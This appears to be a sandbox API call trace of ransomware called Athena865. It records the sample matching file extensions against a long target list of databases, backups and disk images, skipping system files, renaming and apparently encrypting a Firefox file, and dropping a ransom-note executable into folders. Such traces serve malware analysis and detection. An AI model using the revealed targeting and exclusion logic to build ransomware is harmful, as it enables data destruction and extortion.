[0043.172] lstrlenW (lpString="dbs") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dbs") returned 1 [0043.172] lstrlenW (lpString="dbt") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dbt") returned 1 [0043.172] lstrlenW (lpString="dbv") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dbv") returned 1 [0043.172] lstrlenW (lpString="dbx") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dbx") returned 1 [0043.172] lstrlenW (lpString="dcb") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dcb") returned 1 [0043.172] lstrlenW (lpString="dct") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dct") returned 1 [0043.172] lstrlenW (lpString="dcx") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dcx") returned 1 [0043.172] lstrlenW (lpString="ddl") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="ddl") returned 1 [0043.172] lstrlenW (lpString="dlis") returned 4 [0043.172] lstrcmpiW (lpString1="list", lpString2="dlis") returned 1 [0043.172] lstrlenW (lpString="dp1") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dp1") returned 1 [0043.172] lstrlenW (lpString="dqy") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dqy") returned 1 [0043.172] lstrlenW (lpString="dsk") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dsk") returned 1 [0043.172] lstrlenW (lpString="dsn") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dsn") returned 1 [0043.172] lstrlenW (lpString="dtsx") returned 4 [0043.172] lstrcmpiW (lpString1="list", lpString2="dtsx") returned 1 [0043.172] lstrlenW (lpString="dxl") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="dxl") returned 1 [0043.172] lstrlenW (lpString="eco") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="eco") returned 1 [0043.172] lstrlenW (lpString="ecx") returned 3 [0043.172] lstrcmpiW (lpString1="ist", lpString2="ecx") returned 1 [0043.172] lstrlenW (lpString="edb") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="edb") returned 1 [0043.173] lstrlenW (lpString="epim") returned 4 [0043.173] lstrcmpiW (lpString1="list", lpString2="epim") returned 1 [0043.173] lstrlenW (lpString="fcd") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fcd") returned 1 [0043.173] lstrlenW (lpString="fdb") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fdb") returned 1 [0043.173] lstrlenW (lpString="fic") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fic") returned 1 [0043.173] lstrlenW (lpString="flexolibrary") returned 12 [0043.173] lstrcmpiW (lpString1="entlibs.list", lpString2="flexolibrary") returned -1 [0043.173] lstrlenW (lpString="fm5") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fm5") returned 1 [0043.173] lstrlenW (lpString="fmp") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fmp") returned 1 [0043.173] lstrlenW (lpString="fmp12") returned 5 [0043.173] lstrcmpiW (lpString1=".list", lpString2="fmp12") returned -1 [0043.173] lstrlenW (lpString="fmpsl") returned 5 [0043.173] lstrcmpiW (lpString1=".list", lpString2="fmpsl") returned -1 [0043.173] lstrlenW (lpString="fol") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fol") returned 1 [0043.173] lstrlenW (lpString="fp3") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fp3") returned 1 [0043.173] lstrlenW (lpString="fp4") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fp4") returned 1 [0043.173] lstrlenW (lpString="fp5") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fp5") returned 1 [0043.173] lstrlenW (lpString="fp7") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fp7") returned 1 [0043.173] lstrlenW (lpString="fpt") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="fpt") returned 1 [0043.173] lstrlenW (lpString="frm") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="frm") returned 1 [0043.173] lstrlenW (lpString="gdb") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="gdb") returned 1 [0043.173] lstrlenW (lpString="gdb") returned 3 [0043.173] lstrcmpiW (lpString1="ist", lpString2="gdb") returned 1 [0043.174] lstrlenW (lpString="grdb") returned 4 [0043.174] lstrcmpiW (lpString1="list", lpString2="grdb") returned 1 [0043.174] lstrlenW (lpString="gwi") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="gwi") returned 1 [0043.174] lstrlenW (lpString="hdb") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="hdb") returned 1 [0043.174] lstrlenW (lpString="his") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="his") returned 1 [0043.174] lstrlenW (lpString="ib") returned 2 [0043.174] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0043.174] lstrlenW (lpString="idb") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="idb") returned 1 [0043.174] lstrlenW (lpString="ihx") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="ihx") returned 1 [0043.174] lstrlenW (lpString="itdb") returned 4 [0043.174] lstrcmpiW (lpString1="list", lpString2="itdb") returned 1 [0043.174] lstrlenW (lpString="itw") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="itw") returned -1 [0043.174] lstrlenW (lpString="jet") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="jet") returned -1 [0043.174] lstrlenW (lpString="jtx") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="jtx") returned -1 [0043.174] lstrlenW (lpString="kdb") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="kdb") returned -1 [0043.174] lstrlenW (lpString="kexi") returned 4 [0043.174] lstrcmpiW (lpString1="list", lpString2="kexi") returned 1 [0043.174] lstrlenW (lpString="kexic") returned 5 [0043.174] lstrcmpiW (lpString1=".list", lpString2="kexic") returned -1 [0043.174] lstrlenW (lpString="kexis") returned 5 [0043.174] lstrcmpiW (lpString1=".list", lpString2="kexis") returned -1 [0043.174] lstrlenW (lpString="lgc") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="lgc") returned -1 [0043.174] lstrlenW (lpString="lwx") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="lwx") returned -1 [0043.174] lstrlenW (lpString="maf") returned 3 [0043.174] lstrcmpiW (lpString1="ist", lpString2="maf") returned -1 [0043.175] lstrlenW (lpString="maq") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="maq") returned -1 [0043.175] lstrlenW (lpString="mar") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mar") returned -1 [0043.175] lstrlenW (lpString="marshal") returned 7 [0043.175] lstrcmpiW (lpString1="bs.list", lpString2="marshal") returned -1 [0043.175] lstrlenW (lpString="mas") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mas") returned -1 [0043.175] lstrlenW (lpString="mav") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mav") returned -1 [0043.175] lstrlenW (lpString="maw") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="maw") returned -1 [0043.175] lstrlenW (lpString="mdbhtml") returned 7 [0043.175] lstrcmpiW (lpString1="bs.list", lpString2="mdbhtml") returned -1 [0043.175] lstrlenW (lpString="mdn") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mdn") returned -1 [0043.175] lstrlenW (lpString="mdt") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mdt") returned -1 [0043.175] lstrlenW (lpString="mfd") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mfd") returned -1 [0043.175] lstrlenW (lpString="mpd") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mpd") returned -1 [0043.175] lstrlenW (lpString="mrg") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mrg") returned -1 [0043.175] lstrlenW (lpString="mud") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mud") returned -1 [0043.175] lstrlenW (lpString="mwb") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="mwb") returned -1 [0043.175] lstrlenW (lpString="myd") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="myd") returned -1 [0043.175] lstrlenW (lpString="ndf") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="ndf") returned -1 [0043.175] lstrlenW (lpString="nnt") returned 3 [0043.175] lstrcmpiW (lpString1="ist", lpString2="nnt") returned -1 [0043.175] lstrlenW (lpString="nrmlib") returned 6 [0043.176] lstrcmpiW (lpString1="s.list", lpString2="nrmlib") returned 1 [0043.176] lstrlenW (lpString="ns2") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="ns2") returned -1 [0043.176] lstrlenW (lpString="ns3") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="ns3") returned -1 [0043.176] lstrlenW (lpString="ns4") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="ns4") returned -1 [0043.176] lstrlenW (lpString="nsf") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="nsf") returned -1 [0043.176] lstrlenW (lpString="nv") returned 2 [0043.176] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0043.176] lstrlenW (lpString="nv2") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="nv2") returned -1 [0043.176] lstrlenW (lpString="nwdb") returned 4 [0043.176] lstrcmpiW (lpString1="list", lpString2="nwdb") returned -1 [0043.176] lstrlenW (lpString="nyf") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="nyf") returned -1 [0043.176] lstrlenW (lpString="odb") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="odb") returned -1 [0043.176] lstrlenW (lpString="odb") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="odb") returned -1 [0043.176] lstrlenW (lpString="oqy") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="oqy") returned -1 [0043.176] lstrlenW (lpString="ora") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="ora") returned -1 [0043.176] lstrlenW (lpString="orx") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="orx") returned -1 [0043.176] lstrlenW (lpString="owc") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="owc") returned -1 [0043.176] lstrlenW (lpString="p96") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="p96") returned -1 [0043.176] lstrlenW (lpString="p97") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="p97") returned -1 [0043.176] lstrlenW (lpString="pan") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="pan") returned -1 [0043.176] lstrlenW (lpString="pdb") returned 3 [0043.176] lstrcmpiW (lpString1="ist", lpString2="pdb") returned -1 [0043.177] lstrlenW (lpString="pdm") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="pdm") returned -1 [0043.177] lstrlenW (lpString="pnz") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="pnz") returned -1 [0043.177] lstrlenW (lpString="qry") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="qry") returned -1 [0043.177] lstrlenW (lpString="qvd") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="qvd") returned -1 [0043.177] lstrlenW (lpString="rbf") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="rbf") returned -1 [0043.177] lstrlenW (lpString="rctd") returned 4 [0043.177] lstrcmpiW (lpString1="list", lpString2="rctd") returned -1 [0043.177] lstrlenW (lpString="rod") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="rod") returned -1 [0043.177] lstrlenW (lpString="rodx") returned 4 [0043.177] lstrcmpiW (lpString1="list", lpString2="rodx") returned -1 [0043.177] lstrlenW (lpString="rpd") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="rpd") returned -1 [0043.177] lstrlenW (lpString="rsd") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="rsd") returned -1 [0043.177] lstrlenW (lpString="sas7bdat") returned 8 [0043.177] lstrcmpiW (lpString1="ibs.list", lpString2="sas7bdat") returned -1 [0043.177] lstrlenW (lpString="sbf") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="sbf") returned -1 [0043.177] lstrlenW (lpString="scx") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="scx") returned -1 [0043.177] lstrlenW (lpString="sdb") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="sdb") returned -1 [0043.177] lstrlenW (lpString="sdc") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="sdc") returned -1 [0043.177] lstrlenW (lpString="sdf") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="sdf") returned -1 [0043.177] lstrlenW (lpString="sis") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="sis") returned -1 [0043.177] lstrlenW (lpString="spq") returned 3 [0043.177] lstrcmpiW (lpString1="ist", lpString2="spq") returned -1 [0043.177] lstrlenW (lpString="te") returned 2 [0043.178] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0043.178] lstrlenW (lpString="teacher") returned 7 [0043.178] lstrcmpiW (lpString1="bs.list", lpString2="teacher") returned -1 [0043.178] lstrlenW (lpString="tmd") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="tmd") returned -1 [0043.178] lstrlenW (lpString="tps") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="tps") returned -1 [0043.178] lstrlenW (lpString="trc") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="trc") returned -1 [0043.178] lstrlenW (lpString="trc") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="trc") returned -1 [0043.178] lstrlenW (lpString="trm") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="trm") returned -1 [0043.178] lstrlenW (lpString="udb") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="udb") returned -1 [0043.178] lstrlenW (lpString="udl") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="udl") returned -1 [0043.178] lstrlenW (lpString="usr") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="usr") returned -1 [0043.178] lstrlenW (lpString="v12") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="v12") returned -1 [0043.178] lstrlenW (lpString="vis") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="vis") returned -1 [0043.178] lstrlenW (lpString="vpd") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="vpd") returned -1 [0043.178] lstrlenW (lpString="vvv") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="vvv") returned -1 [0043.178] lstrlenW (lpString="wdb") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="wdb") returned -1 [0043.178] lstrlenW (lpString="wmdb") returned 4 [0043.178] lstrcmpiW (lpString1="list", lpString2="wmdb") returned -1 [0043.178] lstrlenW (lpString="wrk") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="wrk") returned -1 [0043.178] lstrlenW (lpString="xdb") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="xdb") returned -1 [0043.178] lstrlenW (lpString="xld") returned 3 [0043.178] lstrcmpiW (lpString1="ist", lpString2="xld") returned -1 [0043.179] lstrlenW (lpString="xmlff") returned 5 [0043.179] lstrcmpiW (lpString1=".list", lpString2="xmlff") returned -1 [0043.179] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list.Athena865") returned 67 [0043.179] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" (normalized: "c:\\program files (x86)\\mozilla firefox\\dependentlibs.list"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dependentlibs.list.athena865"), dwFlags=0x1) returned 1 [0043.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dependentlibs.list.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0043.179] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99) returned 1 [0043.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.181] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.181] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.181] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x154 [0043.183] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0043.183] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.184] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.184] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.185] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.185] CloseHandle (hObject=0x154) returned 1 [0043.185] CloseHandle (hObject=0x17c) returned 1 [0043.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.186] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2=".") returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="..") returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="windows") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="bootmgr") returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="temp") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="pagefile.sys") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="boot") returned 1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="ids.txt") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="ntuser.dat") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="perflogs") returned -1 [0043.187] lstrcmpiW (lpString1="dictionaries", lpString2="MSBuild") returned -1 [0043.187] lstrlenW (lpString="dictionaries") returned 12 [0043.187] lstrcpyW (in: lpString1=0x241e896, lpString2="dictionaries" | out: lpString1="dictionaries") returned="dictionaries" [0043.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530980 [0043.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e430 [0043.187] lstrcatW (in: lpString1="dictionaries", lpString2="\\" | out: lpString1="dictionaries\\") returned="dictionaries\\" [0043.187] lstrcatW (in: lpString1="dictionaries\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="dictionaries\\HOW TO BACK YOUR FILES.exe") returned="dictionaries\\HOW TO BACK YOUR FILES.exe" [0043.187] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\how to back your files.exe"), bFailIfExists=1) returned 1 [0043.190] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2=".") returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="..") returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="windows") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="bootmgr") returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="temp") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="pagefile.sys") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="boot") returned 1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="ids.txt") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="ntuser.dat") returned -1 [0043.190] lstrcmpiW (lpString1="firefox.exe", lpString2="perflogs") returned -1 [0043.191] lstrcmpiW (lpString1="firefox.exe", lpString2="MSBuild") returned -1 [0043.191] lstrlenW (lpString="firefox.exe") returned 11 [0043.191] lstrcpyW (in: lpString1=0x241e896, lpString2="firefox.exe" | out: lpString1="firefox.exe") returned="firefox.exe" [0043.191] lstrlenW (lpString="firefox.exe") returned 11 [0043.191] lstrlenW (lpString="Athena865") returned 9 [0043.191] lstrcmpiW (lpString1="refox.exe", lpString2="Athena865") returned 1 [0043.191] lstrlenW (lpString=".dll") returned 4 [0043.191] lstrcmpiW (lpString1="firefox.exe", lpString2=".dll") returned 1 [0043.191] lstrlenW (lpString=".lnk") returned 4 [0043.191] lstrcmpiW (lpString1="firefox.exe", lpString2=".lnk") returned 1 [0043.191] lstrlenW (lpString=".ini") returned 4 [0043.191] lstrcmpiW (lpString1="firefox.exe", lpString2=".ini") returned 1 [0043.191] lstrlenW (lpString=".sys") returned 4 [0043.191] lstrcmpiW (lpString1="firefox.exe", lpString2=".sys") returned 1 [0043.191] lstrlenW (lpString="firefox.exe") returned 11 [0043.191] lstrlenW (lpString="bak") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0043.191] lstrlenW (lpString="ba_") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0043.191] lstrlenW (lpString="dbb") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0043.191] lstrlenW (lpString="vmdk") returned 4 [0043.191] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0043.191] lstrlenW (lpString="rar") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0043.191] lstrlenW (lpString="zip") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0043.191] lstrlenW (lpString="tgz") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0043.191] lstrlenW (lpString="vbox") returned 4 [0043.191] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0043.191] lstrlenW (lpString="vdi") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0043.191] lstrlenW (lpString="vhd") returned 3 [0043.191] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0043.192] lstrlenW (lpString="vhdx") returned 4 [0043.192] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0043.192] lstrlenW (lpString="avhd") returned 4 [0043.192] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0043.192] lstrlenW (lpString="db") returned 2 [0043.192] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0043.192] lstrlenW (lpString="db2") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0043.192] lstrlenW (lpString="db3") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0043.192] lstrlenW (lpString="dbf") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0043.192] lstrlenW (lpString="mdf") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0043.192] lstrlenW (lpString="mdb") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0043.192] lstrlenW (lpString="sql") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0043.192] lstrlenW (lpString="sqlite") returned 6 [0043.192] lstrcmpiW (lpString1="ox.exe", lpString2="sqlite") returned -1 [0043.192] lstrlenW (lpString="sqlite3") returned 7 [0043.192] lstrcmpiW (lpString1="fox.exe", lpString2="sqlite3") returned -1 [0043.192] lstrlenW (lpString="sqlitedb") returned 8 [0043.192] lstrcmpiW (lpString1="efox.exe", lpString2="sqlitedb") returned -1 [0043.192] lstrlenW (lpString="xml") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0043.192] lstrlenW (lpString="$er") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0043.192] lstrlenW (lpString="4dd") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0043.192] lstrlenW (lpString="4dl") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0043.192] lstrlenW (lpString="^^^") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0043.192] lstrlenW (lpString="abs") returned 3 [0043.192] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0043.192] lstrlenW (lpString="abx") returned 3 [0043.193] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0043.193] lstrlenW (lpString="accdb") returned 5 [0043.193] lstrcmpiW (lpString1="x.exe", lpString2="accdb") returned 1 [0043.193] lstrlenW (lpString="accdc") returned 5 